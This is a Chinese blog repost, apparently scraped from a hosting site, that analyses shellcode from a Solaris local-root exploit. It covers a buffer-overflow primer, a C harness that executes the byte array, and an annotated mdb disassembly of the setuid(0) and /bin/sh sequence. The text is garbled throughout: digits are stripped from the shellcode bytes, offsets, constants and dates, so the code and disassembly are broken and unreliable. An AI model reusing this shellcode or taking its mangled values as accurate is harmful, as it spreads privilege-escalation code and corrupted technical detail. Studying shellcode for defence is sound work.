鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 操作系统维护 > solaris > >

Solaris学习笔记(2)

来源:互联网 作者:佚名 时间:2015-06-03 08:40
Solaris学习笔记( ) 作者: BadcoffeeEmail: bBlog: 年 月 一段shell code的分析最近新发现的一个Solaris的安全漏洞可以使一个非特权用户利用一个很简单的攻击程序得到系统的root权限 为了不让用Solaris系统的人遭暗算 具体细节就不说了 毕竟这篇文章不是教别

   Solaris学习笔记()
作者: BadcoffeeEmail: bBlog: 年 一段shell code的分析最近新发现的一个Solaris的安全漏洞可以使一个非特权用户利用一个很简单的攻击程序得到系统的root权限为了不让用Solaris系统的人遭暗算具体细节就不说了毕竟这篇文章不是教别人攻击别人系统的黑客教程)这里只研究攻击程序里面的一段shell code问题什么是shell code?要了解shell code先从缓冲区溢出谈起缓冲区溢出是黑客比较常用的攻击手段之一众所周知如果向一个有限空间的缓冲区拷贝了过长的字符串就会覆盖相邻的存储单元进程的局部变量保存在 stack当中的一个函数的stack frame相邻的就是调用该函数时保存的返回地址当发生缓冲区溢出并且覆盖到存储在stack中的函数反回地址那么当函数执行完毕后就无法正常返回因为这时返回地址往往是一个无效的地址在这样的情况下系统一般报告: core dumpsegment fault如果这种缓冲区溢出经过精心的计算使得溢出后覆盖到返回地址的那个地址指向我们写的一段机器指令序列那么这个进程的流程就会被改变从而由我们来控制多数情况下这段精心设计的指令一般的目的是执行/bin/sh从而得到一个shell因此这段代码被称为shell code如果被溢出程序是一个suid root程序得到的将是一个root shell这样整个机器就因为缓冲区溢出而被完全控制了关于缓冲区溢出aleph one的Smashing The Stack For Fun And Profit做入门教程不错可以看看为方便分析我们把这段shell code单独拿出来放到一个非常简单的c程序里研究
下面是testc的源代码 static char sh[] = "\x\xc\xeb\x\xa\x\x\x\x\x\x\xeb\xd\xe\xf\xff\xff\xff\xa\x\x\x\x\x\x\xc\x\xb\x\xe\xf\xff\xff\xff\x\xc\x\xf\x\x\xf\x\xf\x\x\xe\x\x\x\x\x\xe\x\x\xd\xc\x\xd\x\x\x\x\x\x\xb\xb\xe\xcb\xff\xff\xff";int main() {void (*f)();f = (void*)sh;f();return ;}这里用函数指针指向字符数组shsh包含了整段shell codemain函数中通过对一个指向sh的函数指针的调用从而使shell code得到执行可以看到程序运行后当前的shell由bash变为了sh:bash# gcc testc o testbash# /test# < shell="" mdb="" test=""> main::dismain: pushl %ebpmain+: movl %esp%ebp > 建立main函数的Stack Frame main+: subl x%espmain+: andl xfffffff%espmain+: movl x%eaxmain+xe: addl xf%eaxmain+x: addl xf%eaxmain+x: shrl x%eaxmain+x: shll x%eaxmain+xa: subl %eax%esp > main+至main+xa的作用使main函数的栈对齐main+xc: movl xax(%ebp) > 把数据段的sh的地址赋值给函数指针 main+x: movl x(%ebp)%eaxmain+x: call *%eax > 调用shell codemain+x: movl x%eaxmain+xd: leavemain+xe: ret> xa=p > 将地址转换为符号 test`sh > 可以看到该地址就是sh的起始地址> sha/aitest`sh:test`sh: xorl %eax%eaxtest`sh+: jmp +xb > 向前跳转到地址test`sh+xdtest`sh+: popl %edx > 将lcall指令的地址从栈中弹出到edxtest`sh+: movl %eaxx(%edx)test`sh+: movb %alx(%edx) > test`sh+和test`sh+将会把lcall指令修改成Solaris的标准的系统调用指令lcall xxtest`sh+xb: jmp +xf > 向前跳转到地址test`sh+xatest`sh+xd: call x > 向后调用到地址test`sh+指令同时下条指令lcall的地址test`sh+x将作为返回地址压栈test`sh+x: lcall xx > 步骤中已经将lcall指令修改为lcall xx新的lcall的作用是通过调用门进入Solaris内核执行系统调用test`sh+x: ret > 从setuid系统调用返回后再执行返回指令会使xorl指令地址test`sh+x从栈中弹出到eip中使cpu从xorl处执行test`sh+xa: pushl %eax > 此时eax寄存器的值是压栈是为构造setuid调用的入口参数并且其值为即root的idtest`sh+xb: movb x%al > 把setuid的系统调用号x放入到eax是Solaris系统调用的要求test`sh+xd: call xb > 向后调用地址test`sh+x指令此时lcall指令已经被修改了(见步骤)同时将下条xorl指令的地址test`sh+x压栈test`sh+x: xorl %eax%eax > 用xorl指令来给eax寄存器内容清零常见的快速清零指令test`sh+x: pushl xfftest`sh+x: pushl xef > test`sh+x和test`sh+x个字符"/bin/sh_"压入栈中test`sh+    

网友评论
<